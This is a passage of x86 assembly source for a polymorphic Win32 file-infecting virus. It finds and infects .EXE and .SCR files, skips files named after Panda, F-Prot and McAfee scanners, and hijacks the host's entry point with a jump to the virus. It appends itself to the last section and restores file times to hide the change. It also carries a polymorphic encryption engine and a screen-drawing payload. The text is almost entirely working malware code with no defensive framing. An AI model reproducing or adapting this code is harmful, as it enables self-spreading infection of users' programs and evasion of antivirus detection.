;FindFirstFile + + lea eax,dword ptr [ebp+my_FindData] + push eax + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_FindFirst] + cmp eax,INVALID_HANDLE_VALUE + je file_not_found + + ;Save the search handle + + mov dword ptr [ebp+Search_h],eax + +try_this_file: ;Check file size + + xor eax,eax + cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax + jne cant_open + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING) + jae cant_open + + ;Check if file is already infected + + mov ecx,SIZE_PADDING + xor edx,edx + div ecx + or edx,edx + jz cant_open + + ;Add filename to path + + cld + lea esi,dword ptr [ebp+szWorkDir] + mov edx,esi +do_path_1: lodsb + cmp al,"\" + jne avoid_path + mov edx,esi +avoid_path: or al,al + jne do_path_1 + lea esi,dword ptr [ebp+my_FindData.WFD_szFileName] + mov edi,edx +do_path_2: lodsb + cmp al,"a" + jb char_is_ok + sub al,("a"-"A") +char_is_ok: cmp al,"V" + je cant_open + stosb + or al,al + jnz do_path_2 + + ;The virus does not infect files with V character in their + ;names as well as the following programs: + + mov eax,dword ptr [edx] + + ;Panda antivirus + + cmp eax,"DNAP" + je cant_open + + ;Datafellows F-Prot + + cmp eax,"RP-F" + je cant_open + + ;McAfee Scan + + cmp eax,"NACS" + je cant_open + + ;Check file extension, allow *.EXE and *.SRC files + + mov eax,dword ptr [edi-00000005h] + cmp eax,"EXE." + je target_file + cmp eax,"RCS." + jne cant_open + +target_file: ;Open and map file + + call open_map_file + or eax,eax + jz cant_open + + ;Check if we can infect this file + + call check_victim + jecxz bad_host + +atach_2host: ;Infect file + + call infect_file + jnc search_end + jmp short cant_open + +bad_host: ;File cant be infected, skip it + + call unmap_close + +cant_open: ;Find next file + + lea eax,dword ptr [ebp+my_FindData] + push eax + push dword ptr [ebp+Search_h] + call dword ptr [ebp+a_FindNext] + cmp eax,FALSE + jne try_this_file + +search_end: ;Close Win32 find handle + + push dword ptr [ebp+Search_h] + call dword ptr [ebp+a_FindClose] + +file_not_found: ret + +; +;Copy search mask into work path +; + +copy_szMask: ;Entry: + ; + ;edx - Filename offset in path string + ;esi - Search mask + ; + ;Exit: + ; + ;None + ; + + cld + lea edi,dword ptr [ebp+edx+szWorkDir] + mov al,"\" + stosb +loop_copy_name: lodsb + stosb + or al,al + jnz loop_copy_name + ret + +; +;Delete file in work path +; + +delete_file: ;Entry: + ; + ;edx - Filename offset in path string + ;esi - File to delete + ; + ;Exit: + ; + ;None + ; + + ;Add filename to path + + push ecx + push edx + call copy_szMask + + ;Reset attributes so we can delete write protected files + + push FILE_ATTRIBUTE_NORMAL + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + + ;Delete file + + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_DeleteFile] + + pop edx + pop ecx + ret + +; +;Check if a given file can be infected +; + +check_victim: ;The host must be PE, fit allowed size and import at least + ;one function from Kernel32 + ; + ;Entry: + ; + ;a_Kernel32 - Base address for kernel32 + ;eax - Base address for memory mapped file + ; + ;Exit: + ; + ;ecx - Null if error + ;eax - Preserved + ; + + ;Save host base address + + push ebp + push eax + + ;Set structured exception handler + + call SEH_SetFrame01 + mov esp,dword ptr [esp+00000008h] +err_checkfile: xor ecx,ecx + jmp SEH_error01 +SEH_SetFrame01: xor edx,edx + push dword ptr fs:[edx] + mov dword ptr fs:[edx],esp + + ;Search for Kernel32 Import Module Descriptor, abort + ;infection if not found + + mov ebx,eax + + ;ebx - Base address of host in memory + + ;Check for MZ signature at base address + + cld + cmp word ptr [ebx],IMAGE_DOS_SIGNATURE + jne err_checkfile + + ;Check file address of relocation table + + cmp word ptr [ebx+DH_lfarlc],0040h + jb err_checkfile + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + lodsd + cmp eax,IMAGE_NT_SIGNATURE + jne err_checkfile + + ;Check machine field in IMAGE_FILE_HEADER + ;just allow i386 PE files + + cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386 + jne err_checkfile + + ;Now check the characteristics, look if file + ;is an executable + + mov ax,word ptr [esi+FH_Characteristics] + test ax,IMAGE_FILE_EXECUTABLE_IMAGE + jz err_checkfile + + ;Avoid DLL's + + test ax,IMAGE_FILE_DLL + jnz err_checkfile + + ;Get pointer to imports raw data + + mov edx,dword ptr [esi+OH_DataDirectory. \ + DE_Import. \ + DD_VirtualAddress+ \ + IMAGE_SIZEOF_FILE_HEADER] + + call RVA2RAW + jecxz err_checkfile + mov eax,ecx + +next_imd_img: ;Search for kernel32 through the array of imported + ;module descriptors + + lea edi,dword ptr [ebp+offset szKernel32] + mov esi,dword ptr [eax+ID_Name] + + ;Exit if the RVA to dll name doesnt exist + or esi,esi + jz err_checkfile + + ;Sub the delta offset + + sub esi,edx + + ;Get absolute address of dll name + + add esi,ebx + + ;Compare names + + mov ecx,00000008h + push eax + +dll_loop: ;Get character from name into imports + + lodsb + + ;Check if character is in lowercase + + cmp al,"a" + jb check_char + + ;Convert character to uppercase + + sub al,("a"-"A") + +check_char: ;Compare characters with our KERNEL32 string + + scasb + jne bad_dll + + loop dll_loop + +verify_ok: ;Name matched, get import module descriptor + + pop edi + + ;Mutate RVAs + + call mutate_rvas + + ;Avoid files with IMAGE_SCN_MEM_SHARED in its + ;last section attributes + + call get_last_sh + test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED + jnz err_checkfile + + ;Set ecx != NULL (success flag) + + xor ecx,ecx + not ecx + +SEH_error01: ;Remove structured exception handler + + xor edx,edx + pop dword ptr fs:[edx] + pop edx + + ;Error, restore base address + + pop eax + pop ebp + ret + +bad_dll: ;Go to next imported module descriptor + + pop eax + add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR + jmp short next_imd_img + + +; +;Find the place where PE saves some useful information +; + +mutate_rvas: ;Generate a copy of the virus into a buffer + ;This copy will contain some RVAs already + ;loaded (GetModuleHandle, GetProcAddress or Kernel32 + ;ID_ForwarderChain field) + ; + ;Entry: + ; + ;ebx - Base address for file + ;edx - Section delta offset + ;edi - Kernel32 Import Module Descriptor + ; + ;Exit: + ; + ;RVA's loaded into virus body (NULL if function not found) + ; + + ;Copy virus to infection buffer + + push edi + lea esi,dword ptr [ebp+Mem_Base] + lea edi,dword ptr [esi+mem_size] + mov ecx,inf_size-DECRYPTOR_SIZE + cld + rep movsb + pop edi + + ;Save rva to ID_ForwarderChain field + + lea eax,dword ptr [edi+ID_ForwarderChain] + sub eax,ebx + add eax,edx + mov dword ptr [ebp+rva_kernel32+mem_size],eax + + ;Check if file is binded + + mov eax,dword ptr [ebp+a_Kernel32] + mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew] + add esi,eax + add esi,NT_FileHeader.FH_TimeDateStamp + lodsd + mov esi,dword ptr [edi+ID_FirstThunk] + sub esi,edx + add esi,ebx + cmp eax,dword ptr [edi+ID_TimeDateStamp] + je binded_file + + ;esi - Import Address Table for KERNEL32 + + ;Save RVA for GetModuleHandle + + push esi + lea edi,dword ptr [ebp+szGetModuleH] + call find_by_name + mov dword ptr [ebp+rva_GetModuleH+mem_size],eax + + ;Save RVA for GetProcAddress + + pop esi + lea edi,dword ptr [ebp+szGetProcAddr] + call find_by_name + mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax + + ret + +binded_file: ;esi - Import Address Table for KERNEL32 + + ;Binded GetModuleHandle + + push esi + mov edi,dword ptr [ebp+a_GetModuleH] + call find_by_address + mov dword ptr [ebp+rva_GetModuleH+mem_size],eax + + ;Binded GetProcAddress + + pop esi + mov edi,dword ptr [ebp+a_GetProcAddr] + call find_by_address + mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax + + ret + +; +;Get RVA of an API function in a binded file +; + +find_by_address:; + ;Entry: + ; + ;edx - Delta offset for last section + ;esi - Import Address Table for KERNEL32 + ;edi - Function entry point + ; + ;Exit: + ; + ;eax - RVA of function address (NULL if not found) + ; + +search_thunk: ;Check if this is the storage address + + lodsd + or eax,eax + jz err_by_address + cmp eax,edi + jne search_thunk + + ;Calculate the offset of that thunk dword into file + + lea eax,dword ptr [esi-00000004h] + sub eax,ebx + add eax,edx + ret + +err_by_address: xor eax,eax + ret + +; +;Find RVA of a function imported by name +; + +find_by_name: ; + ;Entry: + ; + ;edx - Delta offset for last section + ;esi - Import Address Table for KERNEL32 + ;edi - Function name + ; + ;Exit: + ; + ;eax - RVA of function address (NULL if not found) + ; + + ;Search for function name into IMAGE_IMPORT_BY_NAME + ;structure pointed by every dword in the thunk data array + +loop_by_name: ;Get address of IMAGE_IMPORT_BY_NAME structure + + lodsd + or eax,eax + jz err_by_name + + ;Get pointer to function name + + push esi + push edi + sub eax,edx + lea esi,dword ptr [eax+ebx+00000002h] + + ;Compare strings + +name_by_name: lodsb + or al,al + jz ok_by_name + scasb + je name_by_name + + ;Go to next entry into Import Address Table + + pop edi + pop esi + jmp loop_by_name + +ok_by_name: pop edi + pop esi + lea eax,dword ptr [esi-00000004h] + sub eax,ebx + add eax,edx +err_by_name: ret + +; +;Infection and mutation +; + +infect_file: ; + ;Entry: + ; + ;My_FindData - Win32 FindFile structure filled with data + ; about file to infect + ;eax - Base address of memory mapped image + ; + ;Exit: + ; + ;None + ; + + ;Get last section header + + mov ebx,eax + call get_last_sh + + ;ebx - Host base address + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + + ;This will help us later for calculating host base address + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [edi+SH_PointerToRawData] + add eax,init_size + mov dword ptr [ebp+fix_baseaddr+mem_size],eax + + ;Copy original code at entry point into our buffer + + mov edx,dword ptr [esi+OH_AddressOfEntryPoint] + mov dword ptr [ebp+rva_org_eip+mem_size],edx + call RVA2RAW + mov esi,ecx + lea edi,dword ptr [ebp+entry_code+mem_size] + mov ecx,BUFFER_EP + rep movsb + + ;Free memory mapped file + + mov eax,ebx + call unmap_close + + ;Add virus size to file size and re-map it + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + mov dword ptr [ebp+original_size],eax + add eax,inf_size + mov ecx,SIZE_PADDING + xor edx,edx + div ecx + inc eax + mul ecx + mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax + call open_map_file + or eax,eax + jnz done_re_open + stc + ret + +done_re_open: ;ebx - host base address all along the following code + + mov ebx,eax + + ;Initialize poly engine register table + ;We are going to insert some garbage code at host + ;entry-point, followed by a JMP to polymorphic + ;decryptor + ;This routine will also initialize random number + ;generator + + call init_poly + + ;Check for relocations over entry-point code + + call get_last_sh + mov edx,dword ptr [esi+OH_DataDirectory. \ + DE_BaseReloc. \ + DD_VirtualAddress] + + ;Lovely file, no relocations, so we cant generate + ;lots of polymorphic code at host entry-point + + or edx,edx + jz lovely_file + + call RVA2RAW + mov edi,esi + mov esi,ecx + + ;ebx - Host base address + ;ecx - Pointer to RAW data or NULL if error + ;edx - Section delta offset + ;esi - Pointer to section RAWDATA + ;edi - Pointer to IMAGE_OPTIONAL_HEADER + + ;Check relocations over host entry-point code + + call do_reloc_work + + ;We have space for inserting some garbage code? + + cmp eax,00000005h + jb fuxoring_file + + ;Another lovely file, eh? + + cmp eax,BUFFER_EP + jb ugly_file + +lovely_file: ;We reach this code for 3 posible reasons: + ; + ; 1) When the target file have no relocations or... + ; 2) All the relocations are behind the entry-point or... + ; 3) We have lots space from entry-point to 1st reloc + + ;Save number of bytes to restore at host entry-point + + mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP + + ;Get RAW of entry-point + + call get_last_sh + mov edx,dword ptr [esi+OH_AddressOfEntryPoint] + call RVA2RAW + mov edi,ecx + + ;Generate a piece of polymorphic code at host entry-point + + push ebx + push edi + call gen_garbage + pop eax + sub eax,edi + pop ebx + + ;Insert a jump to virus code at entry point + + jmp short insert_jump + +ugly_file: ;There are no relocations over first five bytes of + ;code at host entry-point + ;So we can insert a JUMP to virus polymorphic decryptor + + ;Save size of code to generate + + mov dword ptr [ebp+insert_size+mem_size],00000005h + + ;Where to place the JUMP + + mov edx,dword ptr [edi+OH_AddressOfEntryPoint] + call RVA2RAW + mov edi,ecx + xor eax,eax + + ;Insert a jump to virus code at entry point + +insert_jump: push eax + mov al,0E9h + stosb + push edi + call get_last_sh + mov eax,dword ptr [ebp+original_size] + add eax,poly_decryptor-Mem_Base + sub eax,dword ptr [edi+SH_PointerToRawData] + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [esi+OH_AddressOfEntryPoint] + sub eax,00000005h + pop edi + pop edx + add eax,edx + stosd + + ;Execution continues on next routine + +; +;Attach virus to file +; + +back2infection: ;We fall here after the entry-point stuff + ;Complete infection and do polymorphic encryption + + ;Save current system time inside virus body + + lea eax,dword ptr [ebp+inf_time+mem_size] + push eax + call dword ptr [ebp+a_GetSysTime] + + ;Generate polymorphic encryption + + push ebx + call mutate + pop ebx + + ;Get pointer to last section + + call get_last_sh + + ;ebx - Host base address + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + + ;Get new SizeOfRawData and VirtualSize + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + add eax,mem_size-inf_size + sub eax,dword ptr [edi+SH_PointerToRawData] + mov edx,eax + cmp eax,dword ptr [edi+SH_VirtualSize] + jbe ok_VirtualSize + mov dword ptr [edi+SH_VirtualSize],eax +ok_VirtualSize: mov eax,edx + xor edx,edx + mov ecx,dword ptr [esi+OH_FileAlignment] + div ecx + inc eax + mul ecx + mov dword ptr [edi+SH_SizeOfRawData],eax + + ;Set section characteristics + + or dword ptr [edi+SH_Characteristics], \ + IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + + ;Update OH_SizeOfImage + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + mov edx,dword ptr [esi+OH_SizeOfImage] + cmp eax,edx + jae done_image_s + lea eax,dword ptr [edx+mem_size] +done_image_s: xor edx,edx + mov ecx,dword ptr [esi+OH_SectionAlignment] + div ecx + inc eax + mul ecx + mov dword ptr [esi+OH_SizeOfImage],eax + + ;Write virus into memory mapped file + + mov ecx,inf_size + lea esi,dword ptr [ebp+Mem_Base+mem_size] + mov edi,ebx + add edi,dword ptr [ebp+original_size] + rep movsb + + ;Free memory mapped file + + mov eax,ebx + call unmap_close + + ;Exit, file is infected + + clc + ret + +; +;Get RAW of entry +; + +; +;Change the entry-point field in file header +; + +fuxoring_file: ;Well, after checking relocations for this file we + ;found that there is a relocation over the first + ;five bytes of host entry-point code + + ;Our buffer is ZERO bytes coz no code needs to be + ;restored on host execution + + xor eax,eax + mov dword ptr [ebp+insert_size+mem_size],eax + + ;Get the RVA for virus entry-point + + call get_last_sh + mov eax,dword ptr [ebp+original_size] + add eax,poly_decryptor-Mem_Base + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [edi+SH_PointerToRawData] + + ;Overwrite OH_AddressOfEntryPoint with the + ;virus entry point + + mov dword ptr [esi+OH_AddressOfEntryPoint],eax + jmp back2infection + +; +;Get pointer to last section header +; + +get_last_sh: ; + ;Entry: + ; + ;ebx - Host base address + ; + ;Exit: + ; + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + ; + + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + cld + lodsd + movzx ecx,word ptr [esi+FH_NumberOfSections] + dec ecx + mov eax,IMAGE_SIZEOF_SECTION_HEADER + mul ecx + movzx edx,word ptr [esi+FH_SizeOfOptionalHeader] + add esi,IMAGE_SIZEOF_FILE_HEADER + add eax,edx + add eax,esi + mov edi,eax + ret + +; +;Convert RVA to RAW +; + +RVA2RAW: ; + ;Entry: + ; + ;ebx - Host base address + ;edx - RVA to convert + ; + ;Exit: + ; + ;ecx - Pointer to RAW data or NULL if error + ;edx - Section delta offset + ;esi - Pointer to IMAGE_OPTIONAL_HEADER + ;edi - Pointer to section header + ; + + cld + mov dword ptr [ebp+search_raw],edx + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + lodsd + movzx ecx,word ptr [esi+FH_NumberOfSections] + jecxz err_RVA2RAW + movzx edi,word ptr [esi+FH_SizeOfOptionalHeader] + add esi,IMAGE_SIZEOF_FILE_HEADER + add edi,esi + + ;Get the IMAGE_SECTION_HEADER that contains RVA + ; + ;At this point: + ; + ;ebx - File base address + ;esi - Pointer to IMAGE_OPTIONAL_HEADER + ;edi - Pointer to first section header + ;ecx - Number of sections + +s_img_section: + ;Check if address of imports directory is inside this + ;section + + mov eax,dword ptr [ebp+search_raw] + mov edx,dword ptr [edi+SH_VirtualAddress] + sub eax,edx + cmp eax,dword ptr [edi+SH_VirtualSize] + jb section_ok + +out_of_section: ;Go to next section header + + add edi,IMAGE_SIZEOF_SECTION_HEADER + loop s_img_section +err_RVA2RAW: ret + +section_ok: ;Get raw + + mov ecx,dword ptr [edi+SH_PointerToRawData] + sub edx,ecx + add ecx,eax + add ecx,ebx + ret + +; +;Do needed relocation corrections over code at host entry-point +; + +do_reloc_work: ;Entry: + ; + ;ebx - host base address + ;esi - IMAGE_BASE_RELOCATION + ;edi - IMAGE_OPTIONAL_HEADER + ; + ;Exit: + ; + ;ecx - Space free of relocations at entry-point + ; + + ;Get IBR_VirtualAddress + + cld + lodsd + mov edx,eax + + ;Get IBR_SizeOfBlock + + lodsd + or eax,eax + jnz continue_reloc + + ;We have reached the last relocation and all of them + ;seem to refer to virtual addresses behind the host + ;entry-point, so we can generate lots of polymorphic + ;code there + + xor ecx,ecx + not ecx + ret + +continue_reloc: ;Get number of relocations in this block + + sub eax,IMAGE_SIZEOF_BASE_RELOCATION + shr eax,01h + mov ecx,eax + +rblock_loop: ;Get IBR_TypeOffset + + push ecx + xor eax,eax + lodsw + and ax,0FFFh + add eax,edx + cmp eax,dword ptr [edi+OH_AddressOfEntryPoint] + jae reloc_over_ep + +next_reloc: ;Follow relocations chain + + pop ecx + loop rblock_loop + jmp short do_reloc_work + +reloc_over_ep: ;Get number of bytes from entry-point to first relocation + + pop ecx + sub eax,dword ptr [edi+OH_AddressOfEntryPoint] + ret + +; +;Get entry point for GetProcAddress +; + +my_GetProcAddr: ; + ;Entry: + ; + ;a_Kernel32 - Base address for kernel32 + ; + ;Exit: + ; + ;eax - Entry point for GetProcAddress + ; or NULL if error + ; + + push ebx + + ;Check for MZ signature at base address + + cld + mov ebx,dword ptr [ebp+a_Kernel32] + cmp word ptr [ebx],IMAGE_DOS_SIGNATURE + jne e_GetProcAddr + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew] + add esi,ebx + lodsd + cmp eax,IMAGE_NT_SIGNATURE + jne e_GetProcAddr + + ;Get pointer to Image Export Directory and save it + + add esi,NT_OptionalHeader. \ + OH_DirectoryEntries. \ + DE_Export. \ + DD_VirtualAddress-0004h + lodsd + add eax,ebx + push eax + + ;Get pointer to exported function names + ;Also follow the AddressOfNameOrdinals array + + mov ecx,dword ptr [eax+ED_NumberOfNames] + mov edx,dword ptr [eax+ED_AddressOfNameOrdinals] + add edx,ebx + lea esi,dword ptr [eax+ED_AddressOfNames] + lodsd + add eax,ebx + +next_name: ;Search for GetProcAddress in exported function names + + push ecx + lea esi,dword ptr [ebp+szGetProcAddr] + mov edi,dword ptr [eax] + or edi,edi + jz try_next + +got_name_rva: ;Get absolute address + + add edi,ebx + + ;Compare names + + mov ecx,0000000Eh + repe cmpsb + je found_name + +try_next: ;Go to next name + + add eax,00000004h + add edx,00000002h + pop ecx + loop next_name + + ;Name not found, exit with error + + pop eax + jmp short e_GetProcAddr + +found_name: ;Ok, now edx is the index of the function, so + ;lets look at AddressOfNameOrdinals using that index + + pop ecx + pop edi + + ;Get ordinal for function + + movzx eax,word ptr [edx] + + ;Check if ordinal out of range + + cmp eax,[edi+ED_NumberOfFunctions] + jae short e_GetProcAddr + + ;This is the starting export ordinal number + + sub eax,dword ptr [edi+ED_BaseOrdinal] + inc eax + shl eax,02h + + ;Get address of function + + mov esi,dword ptr [edi+ED_AddressOfFunctions] + add esi,eax + add esi,ebx + lodsd + add eax,ebx + pop ebx + ret + +e_GetProcAddr: ;GetProcAddress not found, exit with error + + xor eax,eax + pop ebx + ret + +; +;Get KERNEL32 module handle if we cant get it using GetModuleHandle +; + +my_getkernel: ;Get KERNEL32 base address using the ID_ForwarderChain + ; + ;Entry: + ; + ;ebx - Base address of host in memory + ; + ;Exit: + ; + ;eax - Kernel32 base address or NULL if error + ; + + ;Generate a mov esi,xxxx instruction + + db 0BEh + + ;This is just a rva that points to ID_ForwarderChain + ;field inside Kernel32 import module descriptor + +rva_kernel32 dd 00000000h + + ;Get Kernel32 entry point from ID_ForwarderChain + + add esi,ebx + lodsd + + ;Check for the MZ signature + + cmp word ptr [eax],IMAGE_DOS_SIGNATURE + jne err_getkernel + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [eax+DH_lfanew] + cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE + jne err_getkernel + + ret + +err_getkernel: ;Could not find KERNEL32 base addres :( + + xor eax,eax + ret + +; +;Get APIs entry point +; + +get_functions: ;Get the entry point for all KERNEL32 API functions + ;used by the virus + ; + ;Entry: + ; + ;None + ; + ;Exit: + ; + ;ecx - NULL if error + ; + + ;Dont fuck our host base address + + push ebx + + ;Get pointer to viral function names + + lea esi,dword ptr [ebp+viral_functions] + lea edi,dword ptr [ebp+viral_addresses] + + ;Get number of functions + + mov ecx,(offset viral_tbl_end-offset viral_functions)/04h + +get_each_ep: ;Get pointer to function name + + cld + lodsd + add eax,ebp + + ;Save counter and pointers + + push ecx + push esi + push edi + + ;Get entry point using GetProcAddress + + push eax + push dword ptr [ebp+a_Kernel32] + call dword ptr [ebp+a_GetProcAddr] + + ;Restore counter and pointers + + pop edi + pop esi + pop ecx + + ;Check if entry point is valid + + or eax,eax + jz exit_get_func + + ;Save function entry point + + cld + stosd + + ;Next function + + loop get_each_ep + +exit_get_func: ;Return, eax contains last function entry point or NULL + ;if error + + mov ecx,eax + pop ebx + ret + +; +;Open file and create it memory mapped image +; + +open_map_file: ; + ;Entry: + ; + ;my_FindData - FindData about file + ;szWorkDir - Buffer for path + name of file to infect + ; + ;Exit: + ; + ;eax - Base address of memory map for file + ; 00000000h if error + ; + + ;Reset attributes so we can get read/write access + ;to target file + + push FILE_ATTRIBUTE_NORMAL + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + or eax,eax + jz exit_open_map + + ;Open existing file + + xor eax,eax + push eax + push FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push eax + push eax + push GENERIC_READ or GENERIC_WRITE + lea eax,dword ptr [ebp+szWorkDir] + push eax + lea eax,dword ptr [ebp+a_CreateFile] + call dword ptr [ebp+a_CreateFile] + cmp eax,INVALID_HANDLE_VALUE + je exit_open_map + + ;Create filemapping over file + + mov dword ptr [ebp+CreateFile_h],eax + xor eax,eax + push eax + push dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + push eax + push PAGE_READWRITE + push eax + push [ebp+CreateFile_h] + call dword ptr [ebp+a_CreateFileMap] + or eax,eax + jz Close_Create + + ;Map file in memory, get base address + + mov dword ptr [ebp+Mapping_h],eax + xor eax,eax + push dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + push eax + push eax + push FILE_MAP_WRITE + push [ebp+Mapping_h] + call dword ptr [ebp+a_MapViewOfFile] + or eax,eax + jz Close_Mapping + ret + +; +;Unmap memory mapped its associated file and close file handle +; + +unmap_close: ; + ;Entry: + ; + ;eax - File base address in memory + ; + ;Exit: + ; + ;None + ; + + push eax + call dword ptr [ebp+a_UnmapView] + +Close_Mapping: ;Close handle created by CreateFileMappingA + + push dword ptr [ebp+Mapping_h] + call dword ptr [ebp+a_CloseHandle] + +Close_Create: ;Restore file time + + lea eax,dword ptr [ebp+my_FindData.WFD_ftLastWriteTime] + mov edx,00000008h + push eax + sub eax,edx + push eax + sub eax,edx + push eax + push dword ptr [ebp+CreateFile_h] + call dword ptr [ebp+a_SetFileTime] + + ;Close handle created by CreateFileA + + push dword ptr [ebp+CreateFile_h] + call dword ptr [ebp+a_CloseHandle] + + ;Restore file attributes + + push dword ptr [ebp+my_FindData.WFD_dwFileAttributes] + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + +exit_open_map: xor eax,eax + ret + +; +;Activation routine +; + +payload: ;Use LoadLibrary to get a valid handle over USER32.dll + + lea eax,dword ptr [ebp+szUSER32] + push eax + call dword ptr [ebp+a_LoadLibrary] + or eax,eax + jz exit_payload + mov dword ptr [ebp+a_User32],eax + + ;Get entry-point for LoadIcon + + lea edx,dword ptr [ebp+szLoadIcon] + push edx + push eax + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + ;Load custom icon + + push 32513 + xor edx,edx + push edx + call eax + or eax,eax + jz exit_payload + mov dword ptr [ebp+h_icon],eax + + ;Get entry-point for GetDC + + lea edx,dword ptr [ebp+szGetDC] + push edx + push dword ptr [ebp+a_User32] + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + ;Get device context for the screen + + xor edx,edx + push edx + call eax + or eax,eax + jz exit_payload + mov dword ptr [ebp+dc_screen],eax + + ;Get entry-point for DrawIcon + + lea edx,dword ptr [ebp+szDrawIcon] + push edx + push dword ptr [ebp+a_User32] + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + mov ecx,00000100h + +loop_payload: ;Draw some icons in random coordinates + + push eax + push ecx + mov edx,eax + push dword ptr [ebp+h_icon] + mov eax,00000800h + call get_rnd_range + push eax + mov eax,00000400h + call get_rnd_range + push eax + push dword ptr [ebp+dc_screen] + call edx + pop ecx + pop eax + loop loop_payload + + ;Print + +exit_payload: ret + +; +;Generate polymorphic encryption +; + +mutate: ;Initialize reg flags and random number generator + + call init_poly + + ;Select index reg + + call get_valid_reg + mov al,byte ptr [ebx+REG_MASK] + mov byte ptr [ebp+index_mask],al + or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX + + ;Select counter reg + + call get_valid_reg + mov al,byte ptr [ebx+REG_MASK] + mov byte ptr [ebp+counter_mask],al + or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER + + ;Get and save random displacement + ;Do not use any displacement if this field value is null + + call get_rnd32 + and eax,00000001h + jz ok_disp + call get_rnd32 +ok_disp: mov dword ptr [ebp+ptr_disp],eax + + ;Now get a random key + + call get_rnd32 + mov dword ptr [ebp+crypt_key],eax + + ;Now get some flags + + call get_rnd32 + mov byte ptr [ebp+build_flags],al + + ;Get size for INC/DEC procedures + + call get_rnd32 + and al,03h + cmp al,01h + je get_size_ok + cmp al,02h + je get_size_ok + inc al +get_size_ok: mov byte ptr [ebp+oper_size],al + + ;Where to put decryptor code + + lea edi,dword ptr [ebp+poly_decryptor+mem_size] + + ;Lets begin inserting some shit + + call gen_garbage + + ;Choose a random decryptor style + ;Each style uses the same build procedures, but + ;in diferent order + + mov eax,(end_styles-tbl_styles)/04h + call get_rnd_range + lea esi,dword ptr [ebp+tbl_styles+eax*04h] + lodsd + add eax,ebp + mov esi,eax + + ;Generator for decryptor styles + + ;Build initialization code + + mov ecx,00000003h + call gen_style_code + + ;Set the loop point in the middle of nowhere + + push esi + call gen_garbage + mov dword ptr [ebp+loop_point],edi + call gen_garbage + pop esi + + ;Build loop code + + mov ecx,00000004 + call gen_style_code + + ;Insert a jump to virus code + + mov al,0E9h + stosb + lea eax,dword ptr [ebp+Mem_Base+mem_size] + sub eax,edi + sub eax,00000004h + stosd + + ;Some garbage + + call gen_rnd_block + + ;Now do encryption + + lea edi,dword ptr [ebp+Mem_Base+mem_size] + call fixed_size2ecx +loop_hide_code: push ecx + mov eax,dword ptr [edi] + call perform_crypt + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] +loop_copy_res: stosb + shr eax,08h + loop loop_copy_res + pop ecx + loop loop_hide_code + + ;Exit polymorphic engine + + ret + +; +;Generator for decryptor styles +; + +gen_style_code: lodsd + add eax,ebp + push ecx + push esi + call eax + call gen_garbage + pop esi + pop ecx + loop gen_style_code + ret + +; +;Perform encryption +; + +perform_crypt: ;Place for encryption code + + db 10h dup (00h) + +; +;Generate decryptor action: Get delta offset +; + +gen_get_delta: ;This is the CALL opcode + + mov al,0E8h + stosb + + ;Save the place for the calling address + + stosd + mov dword ptr [ebp+delta_call],edi + push edi + + ;Generate some random data + + call gen_rnd_block + + ;Get displacement from CALL instruction to destination + ;address + + mov eax,edi + pop esi + sub eax,esi + + ;Put destination address after CALL opcode + + mov dword ptr [esi-00000004h],eax + + ;Generate some garbage code into destination address + + call gen_garbage + + ;Choose method + + mov eax,(end_delta_mode-tbl_delta_mode)/04h + call get_rnd_range + mov eax,dword ptr [ebp+tbl_delta_mode+eax*04h] + add eax,ebp + jmp eax + +delta_method_1: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop index_reg + ; ... + + call gen_pop_index + ret + +delta_method_2: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop reg_1 + ; ... + ; mov reg_index,reg_1 + ; ... + + call gen_pop_reg_1 + mov ah,byte ptr [ebp+index_mask] + shl ah,03h + or ah,byte ptr [ebx+REG_MASK] + or ah,0C0h + mov al,8Bh + stosw + ret + +delta_method_3: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop reg_1 